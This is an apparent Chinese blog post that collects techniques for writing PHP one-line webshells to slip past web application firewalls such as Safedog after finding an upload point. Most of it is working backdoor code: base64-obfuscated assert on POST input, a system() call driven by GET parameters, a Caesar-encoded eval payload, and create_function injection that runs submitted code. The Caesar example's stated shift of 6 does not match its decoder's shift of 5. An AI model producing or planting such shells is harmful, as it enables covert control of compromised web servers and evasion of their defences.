一句话Shell编写思路

很多人都头痛 好不容易找到上传点拿shell了 却发现有狗 = = 其实过狗并不是很难 所以我在这里总结一下思路

经典方式

应该是很常见的方法 利用 可变变量进行赋值传值来打到过狗目的,例如:

1
2
3
4
5
6
7
8
<?php $jg16=base64_decode;
$z=$jg16(YXNzZXJ0);
$z($_POST[q]);
?>
这个一句话需要用到这个函数
//base64_encode();//base64编码
//base64_decode();//base64解码
主要就是进行加密然后传值绕过对一句话的检测 这次暂不详细讲解

##system()的巧妙利用

##调用system()由于在php中system函数属于系统函数所以对于一般的waf是可以通杀的

1
2
3
<?php
system($_GET[‘a’]($_GET[‘b’]))
?>

利用古典密码进行对shell加密

在CTF中 经常会碰到密码学问题 比如古典密码(凯撒加密 rot13 等等)

1
2
3
4
5
6
function kaisa($arr){
for($i=0;$i< strlen($arr);$i++){
$arr[$i]=chr(ord($arr[$i])-6);
}
return $arr;
}

这里的凯撒密码采用按ascii码进行向ascii增大的方向移动6位得到的密文,所以向ascii减小的方向移动6位来解码所以构造出一句话

1
2
3
4
5
6
7
<?php
$arr="j{fq-)dUTXY`}b.@";
for($i=0;$i< strlen($arr);$i++){
$arr[$i]=chr(ord($arr[$i])-5);
}
eval($arr);
?>

利用函数代码执行来代替eval

利用 create_function代码执行漏洞 该函数漏洞这里不进行详细讲解 。 create_function要接收两个参数$args和$code来组成新的函数fucntion_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;}),那么我们只要构造$code来闭合}然后将自己的代码放到函数体外面就可以执行

这里构造为$code = “n;}$_POST[x];/*”;
注意:双引号里面的变量会进行解析,即如果我们echo $code 并且post提交x=phpinfo();那么输出应该是:n;}phpinfo();;/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload解析:
;来结束语句
}来结束函数体
phpinfo();;就在函数体外面被eval执行了
/*注释多余的代码
最终代码:eval(function_lambda_func($args){n;}phpinfo();;/*})
最终构造出
<?php
$args = "1";
$code = "n;}$_POST[x];/*";
echo create_function('$args',$code);
?>

这些思路 只是用来启发大家 如果更好的思路 可以一起分享 我会整合到一起

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 很多人都头痛 好不容易找到上传点拿shell了 却发现有狗 = = 其实过狗并不是很难 所以我在这里总结一下思路
  • 经典方式
    1. 1. 应该是很常见的方法 利用 可变变量进行赋值传值来打到过狗目的,例如:
  • 利用古典密码进行对shell加密
    1. 1. 在CTF中 经常会碰到密码学问题 比如古典密码(凯撒加密 rot13 等等)
    2. 2. 这里的凯撒密码采用按ascii码进行向ascii增大的方向移动6位得到的密文,所以向ascii减小的方向移动6位来解码所以构造出一句话
  • 利用函数代码执行来代替eval
    1. 1. 利用 create_function代码执行漏洞 该函数漏洞这里不进行详细讲解 。 create_function要接收两个参数$args和$code来组成新的函数fucntion_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;}),那么我们只要构造$code来闭合}然后将自己的代码放到函数体外面就可以执行
    2. 2. 这些思路 只是用来启发大家 如果更好的思路 可以一起分享 我会整合到一起
  • ,